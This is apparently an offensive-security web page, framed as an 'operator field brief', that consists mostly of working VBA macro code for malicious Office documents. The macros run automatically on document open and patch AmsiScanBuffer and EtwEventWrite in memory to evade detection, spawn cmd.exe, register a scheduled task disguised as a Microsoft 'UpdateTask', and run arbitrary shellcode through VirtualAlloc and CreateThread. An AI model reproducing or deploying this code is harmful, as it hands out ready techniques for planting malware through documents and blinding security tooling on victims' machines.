HackTheCore
ResearchExploit DevelopmentProgramming Malicious Office Macros

Exploit // Build and Adapt

Programming Malicious Office Macros

Programming Malicious Office Macros is presented here as an operator-facing field brief. It focuses on why the topic matters during real offensive work, where it changes decision-making, and which public references are worth keeping close while validating or reporting it.

field briefoperator referencecurated public sources

Why this topic matters

Programming Malicious Office Macros matters because it changes how an operator frames the problem, chooses validation steps and decides what evidence is strong enough to keep. In real work, weak handling of this topic leads to wasted time, noisy testing and softer findings.

This brief treats programming malicious office macros as a reusable field reference. The focus is on attack surface, decision points, practical workflow and the public material that is worth keeping nearby when you need to execute, verify or explain the subject under pressure.

Core coverage

The points below capture the main workflows, concepts, tools and operator decisions associated with programming malicious office macros.

  • Offensive office macro concepts
  • Introduction
  • Display the current username through a win32 message box
  • Macro
  • Spawn an elevated notepad process through vba and uac interaction
  • Amsi bypass through win32 API calls
  • Disable etw through win32 API calls
  • Spawn cmd.exe with win32 API calls (createprocess)
  • Spawn cmd.exe with shell32 calls (shellexecute)
  • Custom shellcode runner via win32 API

Commands and snippets

BOOL GetUserNameA(
    LPSTR lpBuffer,
    LPDWORD pcbBuffer
)
Private Declare Function GetUserName Lib "advapi32.dll" Alias "GetUserNameA" (ByVal lpBuffer As String, ByRef nSize As Long) As Long

Function MyMacro()
    Dim res As Long
    Dim MyBuff As String * 256
    Dim MySize As Long
    Dim strlen As Long
    
    MySize = 256
    res = GetUserName(MyBuff, MySize)
    strlen = InStr(1, MyBuff, vbNullChar) - 1
    MsgBox Left$(MyBuff, strlen)
End Function
Function MyMacro()
    Set objShell = CreateObject("Shell.Application")
    objShell.ShellExecute "notepad.exe", "", "", "runas", 1
End Function

Sub Document_Open()
    MyMacro
End Sub

Sub AutoOpen()
    MyMacro
End Sub
Private Declare PtrSafe Function GetProcAddress Lib "kernel32" (ByVal hModule As LongPtr, ByVal lpProcName As String) As LongPtr
Private Declare PtrSafe Function LoadLibrary Lib "kernel32" Alias "LoadLibraryA" (ByVal lpLibFileName As String) As LongPtr
Private Declare PtrSafe Function VirtualProtect Lib "kernel32" (lpAddress As Any, ByVal dwSize As LongPtr, ByVal flNewProtect As Long, lpflOldProtect As Long) As Long
Private Declare PtrSafe Sub CopyMem Lib "kernel32" Alias "RtlMoveMemory" (Destination As Any, Source As Any, ByVal Length As LongPtr)


Sub AutoOpen()

    Dim AmsiDLL As LongPtr
    Dim AmsiScanBufferAddr As LongPtr
    Dim result As Long
    Dim ArrayPointer As LongPtr


    #If Win64 Then
        Dim MyByteArray(6) As Byte
        MyByteArray(0) = 184 ' 0xB8
        MyByteArray(1) = 87  ' 0x57
        MyByteArray(2) = 0   ' 0x00
        MyByteArray(3) = 7   ' 0x07
        MyByteArray(4) = 128 ' 0x80
        MyByteArray(5) = 195 ' 0xC3
    #Else
        Dim MyByteArray(8) As Byte
        MyByteArray(0) = 184 ' 0xB8
        MyByteArray(1) = 87  ' 0x57
        MyByteArray(2) = 0   ' 0x00
        MyByteArray(3) = 7   ' 0x07
        MyByteArray(4) = 128 ' 0x80
        MyByteArray(5) = 194 ' 0xC2
        MyByteArray(6) = 24  ' 0x18
        MyByteArray(7) = 0 ' 0x00
    #End If
    

    AmsiDLL = LoadLibrary("amsi.dll")
    AmsiScanBufferAddr = GetProcAddress(AmsiDLL, "AmsiScanBuffer")
    
    #If Win64 Then
        result = VirtualProtect(ByVal AmsiScanBufferAddr, 6, 64, 0)
        ArrayPointer = VarPtr(MyByteArray(0))
        CopyMem ByVal AmsiScanBufferAddr, ByVal ArrayPointer, 6
    #Else
        result = VirtualProtect(ByVal AmsiScanBufferAddr, 8, 64, 0)
        ArrayPointer = VarPtr(MyByteArray(0))
        CopyMem ByVal AmsiScanBufferAddr, ByVal ArrayPointer, 8
    #End If

End Sub
Private Declare PtrSafe Function GetProcAddress Lib "kernel32" (ByVal hModule As LongPtr, ByVal lpProcName As String) As LongPtr
Private Declare PtrSafe Function LoadLibrary Lib "kernel32" Alias "LoadLibraryA" (ByVal lpLibFileName As String) As LongPtr
Private Declare PtrSafe Function VirtualProtect Lib "kernel32" (lpAddress As Any, ByVal dwSize As LongPtr, ByVal flNewProtect As Long, lpflOldProtect As Long) As Long
Private Declare PtrSafe Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (Destination As Any, Source As Any, ByVal Length As LongPtr)


Sub AutoOpen()

    Dim ntdllDLL As LongPtr
    Dim EtwEventWriteAddr As LongPtr
    Dim result As Long
    Dim ArrayPointer As LongPtr

    #If Win64 Then
        Dim MyByteArray(1) As Byte
        MyByteArray(0) = 195 ' 0xC3
    #Else
        Dim MyByteArray(4) As Byte
        MyByteArray(0) = 194 ' 0xC2
        MyByteArray(1) = 20 ' 0x14
        MyByteArray(2) = 0 ' 0x00
        MyByteArray(3) = 0 ' 0x00
    #End If
    

    ntdllDLL = LoadLibrary("ntdll.dll")
    EtwEventWriteAddr = GetProcAddress(ntdllDLL, "EtwEventWrite")
    
    #If Win64 Then

        result = VirtualProtect(ByVal EtwEventWriteAddr, 1, 64, 0)
        ArrayPointer = VarPtr(MyByteArray(0))
        CopyMemory ByVal EtwEventWriteAddr, ByVal ArrayPointer, 1
    #Else
        result = VirtualProtect(ByVal EtwEventWriteAddr, 4, 64, 0)
        ArrayPointer = VarPtr(MyByteArray(0))
        CopyMemory ByVal EtwEventWriteAddr, ByVal ArrayPointer, 4
    #End If

End Sub
Option Explicit

Private Type SECURITY_ATTRIBUTES
    nLength              As Long
    lpSecurityDescriptor As LongPtr
    bInheritHandle       As Long
End Type

Private Type STARTUPINFO
    cb              As Long
    lpReserved      As String
    lpDesktop       As String
    lpTitle         As String
    dwX             As Long
    dwY             As Long
    dwXSize         As Long
    dwYSize         As Long
    dwXCountChars   As Long
    dwYCountChars   As Long
    dwFillAttribute As Long
    dwFlags         As Long
    wShowWindow     As Integer
    cbReserved2     As Integer
    lpReserved2     As Byte
    hStdInput       As LongPtr
    hStdOutput      As LongPtr
    hStdError       As LongPtr
End Type

Private Type PROCESS_INFORMATION
    hProcess    As LongPtr
    hThread     As LongPtr
    dwProcessId As Long
    dwThreadId  As Long
End Type

Private Const CREATE_NEW_CONSOLE = &H10
Private Const CREATE_SUSPENDED = &H4
Private Const DEBUG_ONLY_THIS_PROCESS = &H2

Private Declare Function CreateProcess Lib "kernel32" Alias "CreateProcessA" (ByVal lpApplicationName As String, ByVal lpCommandLine As String, ByRef lpProcessAttributes As SECURITY_ATTRIBUTES, ByRef lpThreadAttributes As SECURITY_ATTRIBUTES, ByVal bInheritHandles As Long, ByVal dwCreationFlags As Long, ByRef lpEnvironment As Any, ByVal lpCurrentDirectory As String, lpStartupInfo As STARTUPINFO, lpProcessInformation As PROCESS_INFORMATION) As LongPtr


Sub AutoOpen()



    Dim secAttrPrc As SECURITY_ATTRIBUTES: secAttrPrc.nLength = Len(secAttrPrc)
    Dim secAttrThr As SECURITY_ATTRIBUTES: secAttrThr.nLength = Len(secAttrThr)

    Dim startInfo  As STARTUPINFO
    Dim procInfo   As PROCESS_INFORMATION

    If CreateProcess( _
         lpApplicationName:=vbNullString, _
         lpCommandLine:="cmd.exe", _
         lpProcessAttributes:=secAttrPrc, _
         lpThreadAttributes:=secAttrThr, _
         bInheritHandles:=False, _
         dwCreationFlags:=0, _
         lpEnvironment:=0, _
         lpCurrentDirectory:=Environ("USERPROFILE"), _
         lpStartupInfo:=startInfo, _
         lpProcessInformation:=procInfo) Then

     Else
        MsgBox "Couldnt create process"
     End If

End Sub
Option Explicit

Private Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" ( _
         ByVal hwnd As Long, _
         ByVal lpOperation As String, _
         ByVal lpFile As String, _
         ByVal lpParameters As String, _
         ByVal lpDirectory As String, _
         ByVal lpShowCmd As Long) As Long

Sub AutoOpen()
Call ShellExecute(0, "Open", "calc.exe", "", "", 1)

End Sub
Sub AutoOpen()
    Set service = CreateObject("Schedule.Service")
    Call service.Connect
    
    Dim td: Set td = service.NewTask(0)
    td.RegistrationInfo.Author = "Microsoft Corporation"
    td.settings.StartWhenAvailable = True
    td.settings.Hidden = False
    
    Dim triggers: Set triggers = td.triggers
    Dim trigger: Set trigger = triggers.Create(1)
    Dim startTime: ts = DateAdd("s", 30, Now)
    
    startTime = Year(ts) & "-" & Right(Month(ts), 2) & "-" & Right(Day(ts), 2) & "T" & Right(Hour(ts), 2) & ":" & Right(Minute(ts), 2) & ":" & Right(Second(ts), 2)
    trigger.StartBoundary = startTime
    trigger.ID = "TimeTriggerId"
    
    Dim Action: Set Action = td.Actions.Create(0)
    
    Action.Path = "C:\Windows\System32\calc.exe"
    Call service.GetFolder("\").RegisterTaskDefinition("UpdateTask", td, 6, , , 3)

End Sub
Private Declare PtrSafe Function CreateThread Lib "KERNEL32" (ByVal SecurityAttributes As Long, ByVal StackSize As Long, ByVal StartFunction As LongPtr, ThreadParameter As LongPtr, ByVal CreateFlags As Long, ByRef ThreadId As Long) As LongPtr
Private Declare PtrSafe Function VirtualAlloc Lib "KERNEL32" (ByVal lpAddress As LongPtr, ByVal dwSize As Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As LongPtr
Private Declare PtrSafe Function RtlMoveMemory Lib "KERNEL32" (ByVal lDestination As LongPtr, ByRef sSource As Any, ByVal lLength As Long) As LongPtr

Function MyMacro()
    Dim buf As Variant
    Dim addr As LongPtr
    Dim counter As Long
    Dim data As Long
    Dim res As Long
    
    buf = Array()
    
    addr = VirtualAlloc(0, UBound(buf), &H3000, &H40)
    
    For counter = LBound(buf) To UBound(buf)
        data = buf(counter)
        res = RtlMoveMemory(addr + counter, data, 1)
    Next counter
    
    res = CreateThread(0, 0, addr, 0, 0, 0)
End Function

Sub Document_Open()
    MyMacro
End Sub

Sub AutoOpen()
    MyMacro
End Sub

Curated public references